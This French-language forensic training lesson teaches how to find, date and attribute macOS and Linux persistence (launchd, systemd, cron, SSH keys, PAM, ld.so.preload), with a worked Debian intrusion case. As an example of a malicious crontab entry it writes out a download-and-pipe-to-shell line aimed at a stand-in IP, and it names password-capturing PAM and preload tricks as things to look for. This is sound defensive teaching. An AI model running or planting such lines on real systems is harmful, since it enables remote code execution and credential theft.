Fondamentaux de macOS et Linux · Leçon 5 sur 5
Persistance sur macOS et Linux
14 min de lecture
La persistance désigne tout ce qui permet à un intrus ou à un logiciel malveillant de survivre à un redémarrage, à une fermeture de session ou à un changement de mot de passe. Sur macOS et Linux, elle repose presque toujours sur un fichier : une liste de propriétés, un fichier d’unité, une ligne de crontab, une clé publique. Cette leçon présente les principaux emplacements de démarrage automatique sur les deux systèmes et montre comment distinguer les entrées malveillantes des entrées légitimes, les dater et les attribuer. La persistance sous Windows est traitée dans le module 2.
La méthode de l’examinateur
- Recensez tous les emplacements de démarrage automatique pour la version du système d’exploitation concernée, à l’échelle du système et dans chaque répertoire personnel, y compris
/rootet ceux des comptes de service tels quewww-data. - Comparez avec une référence saine : un système réputé sain de la même version de compilation ou les enregistrements du gestionnaire de paquets. Déterminez à qui appartient chaque fichier (un paquet, un ensemble logiciel signé par un éditeur, aucun de ceux-ci ?) et si le programme qu’il lance se trouve dans un emplacement inhabituel, comme
/tmp,/dev/shmou un fichier dont le nom commence par un point dans/usr/local/bin. - Consignez le propriétaire, le mode, tous les horodatages (ext4 et APFS conservent un horodatage de création), la taille et le SHA-256 du fichier de configuration et du programme qu’il lance.
- Triez par date et recherchez les éléments créés ou modifiés pendant la fenêtre de l’incident, puis corroborez ces observations avec les journaux (leçon 6.4) et les traces d’exécution.
- Désignez chaque constat par un identifiant de technique MITRE ATT&CK. Les identifiants constituent un vocabulaire, pas des preuves : ils rendent les rapports comparables.
| Technique | Identifiant | Sous-techniques macOS et Linux |
|---|---|---|
| Création ou modification d’un processus système | T1543 | .001 Agent de lancement, .004 Démon de lancement, .002 Service systemd |
| Tâche planifiée | T1053 | .003 Cron, .006 Minuteries systemd |
| Manipulation de compte : clés SSH autorisées | T1098.004 | Clé publique ajoutée |
| Exécution déclenchée par un événement | T1546 | .004 Modification de la configuration du shell Unix, .017 Règles udev |
| Exécution automatique au démarrage ou à l’ouverture de session | T1547 | .015 Éléments d’ouverture de session, .006 Modules et extensions du noyau |
| Scripts d’initialisation au démarrage ou à l’ouverture de session | T1037 | .004 Scripts RC |
Identifiants connexes que vous rencontrerez : T1574.006 Détournement de l’éditeur de liens dynamique (ld.so.preload), T1556.003 Modules d’authentification enfichables, T1505.003 Shell web et T1136.001 Création de compte : compte local.
macOS
Démons et agents launchd
launchd (PID 1) lance des tâches décrites dans des listes de propriétés ; la leçon 6.1 traite des plists XML et binaires et de leur lecture avec plutil -p.
| Dossier | Compte d’exécution | Démarrage |
|---|---|---|
/Library/LaunchDaemons | root, ou le compte indiqué dans UserName | Au démarrage, sans utilisateur connecté |
/Library/LaunchAgents | Chaque utilisateur qui ouvre une session | À l’ouverture de session de chaque utilisateur |
~/Library/LaunchAgents | Cet utilisateur | À l’ouverture de session de cet utilisateur |
/System/Library/LaunchDaemons et LaunchAgents | Tâches propres à Apple | Protégés ; ne constituent pas une cible habituelle |
Les dossiers /System sont protégés par System Integrity Protection (SIP, OS X 10.11+) et, à partir de macOS 11, résident sur le volume système scellé et en lecture seule ; examinez donc /Library et les dossiers des utilisateurs. Les clés importantes :
Label: le nom unique de la tâche, généralement en notation DNS inversée. Un libellécom.apple.en dehors de/Systemmérite un examen attentif.ProgramouProgramArguments: l’exécutable et ses arguments ; vous devez le localiser et calculer son empreinte./bin/sh -c,curlouosascriptsont des signaux d’alerte.RunAtLoad: démarrer dès le chargement de la tâche (au démarrage du système ou à l’ouverture de session).KeepAlive: relancer la tâche chaque fois qu’elle se termine.StartInterval: exécuter toutes les N secondes (StartCalendarIntervalest la forme analogue à cron).
Éléments d’ouverture de session, profils et autres points de persistance macOS
Depuis macOS 13 Ventura, la gestion des tâches en arrière-plan (BTM, Background Task Management) suit les éléments d’ouverture de session, les agents et les démons de lancement, avertit l’utilisateur et les répertorie dans Réglages Système > Général > Ouverture. Sa base de données est /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v<N>.btm, où N change selon les versions. Il s’agit d’une plist binaire au format d’archive à clés d’Apple ; sur un Mac en fonctionnement, sudo sfltool dumpbtm affiche l’identifiant, le nom du développeur, le type, l’état et le chemin de l’exécutable de chaque élément. Les versions macOS 10.13 à 12 conservaient les éléments d’ouverture de session dans ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.
- Les profils de configuration (
.mobileconfig) peuvent installer des certificats racines, des paramètres de proxy, DNS ou VPN, ou une inscription MDM : il s’agit de contrôle plutôt que de code. Listez-les sur le système en fonctionnement avecsudo profiles list. Depuis macOS 11, l’outilprofilesne peut plus installer un profil silencieusement ; un profil malveillant implique donc une approbation de l’utilisateur ou une gestion MDM. - cron et periodic existent toujours, mais sont rarement utilisés : crontabs des utilisateurs dans
/private/var/at/tabs/<user>, scripts dans/etc/periodic/daily|weekly|monthly. - Profils du shell : zsh est le shell par défaut depuis la version 10.15.
~/.zshenvs’exécute pour chaque instance de zsh,~/.zprofilepour les shells de connexion,~/.zshrcpour les shells interactifs, auxquels s’ajoutent/etc/zprofileet/etc/zshrc. Ils ne s’exécutent qu’au lancement d’un shell. - Les modules d’autorisation dans
/Library/Security/SecurityAgentPlugins, une fois référencés dans la base de données d’autorisation, s’exécutent à l’ouverture de session avec accès au mot de passe saisi ; les extensions du noyau (/Library/Extensions, obsolètes depuis macOS 10.15) et les extensions système (10.15+,systemextensionsctl list) nécessitent une approbation explicite de l’utilisateur.
La manière dont le binaire est arrivé est importante. Les navigateurs et Mail ajoutent l’attribut com.apple.quarantine (leçon 6.1), de sorte que Gatekeeper vérifie la signature et la notarisation au premier lancement. curl ne l’ajoute pas ; un binaire déposé sans cet attribut est donc compatible avec un téléchargement par script. Vérifiez la signature avec codesign -dv --verbose=4.
Linux
Services et minuteries systemd
Les fichiers d’unité sont lus depuis /etc/systemd/system (administrateur, priorité la plus élevée), /run/systemd/system (exécution en cours) et /lib/systemd/system ou /usr/lib/systemd/system (paquets). Les unités utilisateur dans ~/.config/systemd/user s’exécutent tant que cet utilisateur est connecté, ou en permanence si le maintien hors session est activé (/var/lib/systemd/linger/<user>).
Dans une unité, [Service] contient ExecStart= (le programme), Restart=always (relance à la fin de l’exécution) et User= ; [Install] contient WantedBy=multi-user.target. systemctl enable agit sur WantedBy en créant un lien symbolique dans /etc/systemd/system/multi-user.target.wants/. Le lien est un nouvel inode ; son propre horodatage de création (lu sans suivre le lien : stat sur le lien, ou istat sur son inode) date donc sa dernière création, normalement effectuée par systemctl enable. Vérifiez également les dossiers de configuration complémentaire (<unit>.d/*.conf), qui peuvent remplacer la valeur ExecStart= d’un service légitime. Les minuteries (.timer avec OnCalendar= ou OnBootSec=) lancent le .service du même nom ; listez-les sur le système en fonctionnement avec systemctl list-timers --all.
cron, clés SSH et fichiers de démarrage du shell
La leçon 6.3 a présenté les emplacements de cron et at. Les entrées malveillantes ressemblent à * root curl -fsSL http://203.0.113.50/k.sh | sh : chaque minute, un téléchargement est transmis à un shell par un tube. Sont également suspects : des blocs en base64, une crontab pour www-data, un fichier dans /etc/cron.d n’appartenant à aucun paquet.
Par défaut, OpenSSH lit .ssh/authorized_keys et .ssh/authorized_keys2 dans chaque répertoire personnel ; recherchez AuthorizedKeysFile ou AuthorizedKeysCommand dans sshd_config. Chaque ligne contient des options facultatives, le type de clé, la clé en base64 et un commentaire. Le commentaire est un texte libre choisi par le créateur de la clé et ne permet aucune attribution. Des options telles que command="…" (imposer une commande) ou from="198.51.100.0/24" (sources autorisées) modifient ce que permet la clé. ssh-keygen -lf authorized_keys affiche l’empreinte SHA256: de chaque clé, que vous rapprochez de lignes sshd telles que Accepted publickey for root from … ssh2: ED25519 SHA256:… (leçon 6.4).
Les shells de connexion Bash lisent /etc/profile (qui charge /etc/profile.d/*.sh) et le premier fichier trouvé parmi ~/.bash_profile, ~/.bash_login et ~/.profile ; les shells interactifs sans connexion lisent /etc/bash.bashrc (famille Debian) et ~/.bashrc. Examinez leur fin à la recherche de nohup … &, alias sudo= ou export LD_PRELOAD=.
Mécanismes d’interception plus profonds
- rc.local et init.d : si
/etc/rc.localexiste et est exécutable, systemd l’exécute au démarrage, et les scripts SysV dans/etc/init.ds’exécutent par l’intermédiaire d’un générateur de compatibilité ; systemd 260 (2026) a supprimé les deux mécanismes. /etc/ld.so.preload: normalement absent. Chaque objet partagé répertorié est chargé dans tous les programmes liés dynamiquement : c’est la technique classique des rootkits en mode utilisateur pour masquer des fichiers et des processus aux outils exécutés sur l’hôte en fonctionnement.- Modules du noyau :
/etc/modules,/etc/modules-load.d/*.confet/etc/modprobe.d/*.conf(dont les lignesinstallpeuvent exécuter des commandes).lsmodlit/proc/modules, qu’un rootkit peut falsifier ; comparez les fichiers de modules sous/lib/modules/<kernel>/, les messages du noyau tels quemodule verification failed: signature and/or required key missing - tainting kernel, et la mémoire (module 5). - Règles udev : une entrée
RUN+="…"dans/etc/udev/rules.d/*.ruless’exécute à chaque événement de périphérique correspondant. - PAM : une ligne dans
/etc/pam.d/ajoutantpam_exec.so expose_authtoktransmet chaque mot de passe saisi à un programme ; unpam_unix.soremplacé peut accepter un mot de passe maître. - Comptes : un second UID 0 dans
/etc/passwd, de nouveaux membres desudo/wheelou des fichiers dans/etc/sudoers.d(leçon 6.3). - Shells web : petits fichiers
.phpou.jspsous/var/www, appartenant au compte du serveur web.
Validation à l’aide du gestionnaire de paquets
dpkg -V (ou debsums -c) compare les fichiers aux sommes MD5 enregistrées à l’installation ; rpm -Va vérifie également la taille, le mode, le propriétaire et mtime, en affichant des indicateurs tels que S.5....T. (taille, empreinte et date modifiées) et c pour les fichiers de configuration, qui peuvent être modifiés légitimement. dpkg -S <path> ou rpm -qf <path> indique le paquet auquel appartient un fichier. Limites : seuls les fichiers appartenant à un paquet sont vérifiés ; une nouvelle unité, un nouveau fichier cron ou une nouvelle ligne dans authorized_keys sont donc invisibles ; de plus, un attaquant disposant des privilèges root peut modifier la base de données (/var/lib/dpkg/info/*.md5sums, /var/lib/rpm) ou les outils. Privilégiez les empreintes des paquets d’origine provenant du miroir de la distribution, comparées sur votre poste de travail aux fichiers du volume monté en lecture seule.
Aide-mémoire
| Emplacement | Système d’exploitation | Moment d’exécution | Vérification |
|---|---|---|---|
/Library/LaunchDaemons/*.plist | macOS | Démarrage, en tant que root | ProgramArguments, empreinte de la cible, crtime |
~/Library/LaunchAgents/*.plist | macOS | Ouverture de session utilisateur | Même méthode, pour chaque utilisateur |
BackgroundItems-v<N>.btm | macOS 13+ | Ouverture de session | sfltool dumpbtm (sur le système en fonctionnement) ou un analyseur BTM |
/etc/systemd/system/*.service + *.wants/ | Linux | Démarrage | dpkg -S, crtime du lien, ExecStart |
~/.config/systemd/user/ | Linux | Session utilisateur | Fichier de maintien hors session, ExecStart |
*.timer, /etc/cron.d, crontabs | Les deux (cron) | Selon la planification | Fréquence, commande, propriétaire |
~/.ssh/authorized_keys | Les deux | Connexion SSH | Empreintes comparées au journal sshd |
~/.zshrc, ~/.bashrc, /etc/profile.d/*.sh | Les deux | Lancement du shell | Lignes ajoutées à la fin |
/etc/rc.local, /etc/init.d/ | Linux | Démarrage | Existence, caractère exécutable, propriétaire |
/etc/ld.so.preload | Linux | Chaque lancement de programme | Ne devrait pas exister |
/etc/modules-load.d/, /etc/modprobe.d/ | Linux | Démarrage | Fichiers de modules, messages signalant un noyau altéré |
/etc/udev/rules.d/ | Linux | Événement de périphérique | Entrées RUN+= |
/etc/pam.d/ | Linux | Authentification | pam_exec, dpkg -V |
Exemple détaillé : un faux auxiliaire D-Bus
Un serveur web Debian 12 (fuseau horaire UTC−3) a été compromis le 14 mars 2026 :
| Élément | Preuve | UTC |
|---|---|---|
deploy ouvre une session | auth.log : Accepted password for deploy from 198.51.100.23 | 2026-03-14T14:18:05Z |
| Shell root | sudo : deploy : … USER=root ; COMMAND=/bin/bash | 14:19:12Z |
| Clé ajoutée | mtime et ctime de /root/.ssh/authorized_keys ; nouvelle ligne ssh-ed25519, commentaire backup@web01 | 14:23:37Z |
| Binaire déposé | crtime de /usr/local/bin/.dbus-helper ; SHA-256 6b856bbe9d9d3448c05fd885e758345f47bba2812bc8b7e15299e82a70ea8142 | 14:25:02Z |
| Service activé | crtime du lien symbolique multi-user.target.wants/dbus-helper.service | 14:26:10Z |
| Fin de la session | session closed for user deploy | 14:31:40Z |
| Clé utilisée | Accepted publickey for root from 203.0.113.77 port 40122 ssh2: ED25519 SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU | 2026-03-15T02:07:44Z |
L’unité /etc/systemd/system/dbus-helper.service contient ExecStart=/usr/local/bin/.dbus-helper, Restart=always et WantedBy=multi-user.target. dpkg -S ne trouve aucun paquet propriétaire pour l’un ou l’autre fichier ; l’unité D-Bus authentique est dbus.service dans /lib/systemd/system, et le point initial masque le binaire lors d’un simple ls.
Datation de l’activation. stat sur le lien symbolique affiche Birth: 2026-03-14 11:26:10.483920117 -0300 ; 11:26:10 + 3 h = 14:26:10Z. Vérifiez cette valeur dans l’inode brut : i_crtime à l’offset 0x90 contient 02 70 B5 69, soit, en petit-boutiste, 0x69B57002 = 1 773 498 370 secondes depuis 1970-01-01 = 2026-03-14T14:26:10Z. i_crtime_extra à 0x94 contient D4 23 60 73 = 0x736023D4 ; un décalage de 2 bits vers la droite donne 483 920 117 ns, et ses deux bits de poids faible (00) n’ajoutent aucune extension d’époque.
Rapprochement de la clé. ssh-keygen -lf appliqué à la nouvelle ligne donne SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU, identique à l’empreinte de la connexion de 02:07:44Z ; cette clé a donc été utilisée, depuis une nouvelle adresse.
Attribution. Les trois éléments ont été créés dans cet ordre pendant le shell root de la session deploy (14:18:05Z à 14:31:40Z). Les horodatages de création indiquent quand les inodes sont apparus, pas qui a agi ; la fenêtre de session fournit ce lien, après vérification dans wtmp et le journal qu’aucune autre session n’était ouverte au même moment. touch ne peut définir ni crtime ni ctime ; antidater mtime ne masquerait donc pas 14:25:02Z. Consignez T1543.002 et T1098.004 dans le rapport.
Points clés pour l'examen : Préparez-vous à indiquer le dossier et le compte utilisés par une tâche launchd, à lireProgramArguments,RunAtLoadetKeepAlive, et à dater un service systemd à partir de son lien symbolique*.wants. Vous pourrez devoir rapprocher une empreinte d’authorized_keysd’une ligneAccepted publickey, convertir une heure locale fournie parstaten UTC et donner le chemin complet et le SHA-256 d’un binaire.
Points essentiels
- La persistance repose sur un fichier dans un emplacement connu de démarrage automatique ; recensez-les tous, à l’échelle du système et pour chaque utilisateur, puis comparez-les avec une référence saine.
- Les LaunchDaemons s’exécutent en tant que root au démarrage ; les LaunchAgents s’exécutent en tant qu’utilisateur à l’ouverture de session ;
/System/Libraryappartient à Apple et est scellé. systemctl enablecrée un lien symbolique dans*.wants/; l’horodatage de création propre au lien date l’activation.- Prouvez quelle clé SSH a été utilisée en faisant correspondre son empreinte
SHA256:à la ligneAccepted publickeyde sshd ; ignorez le commentaire de la clé. dpkg -Vetrpm -Vane couvrent que les fichiers appartenant à des paquets et font confiance à une base de données que root peut modifier.- Les identifiants ATT&CK tels que T1543, T1053, T1098.004, T1546, T1547 et T1037 désignent des constats ; ils ne les prouvent pas.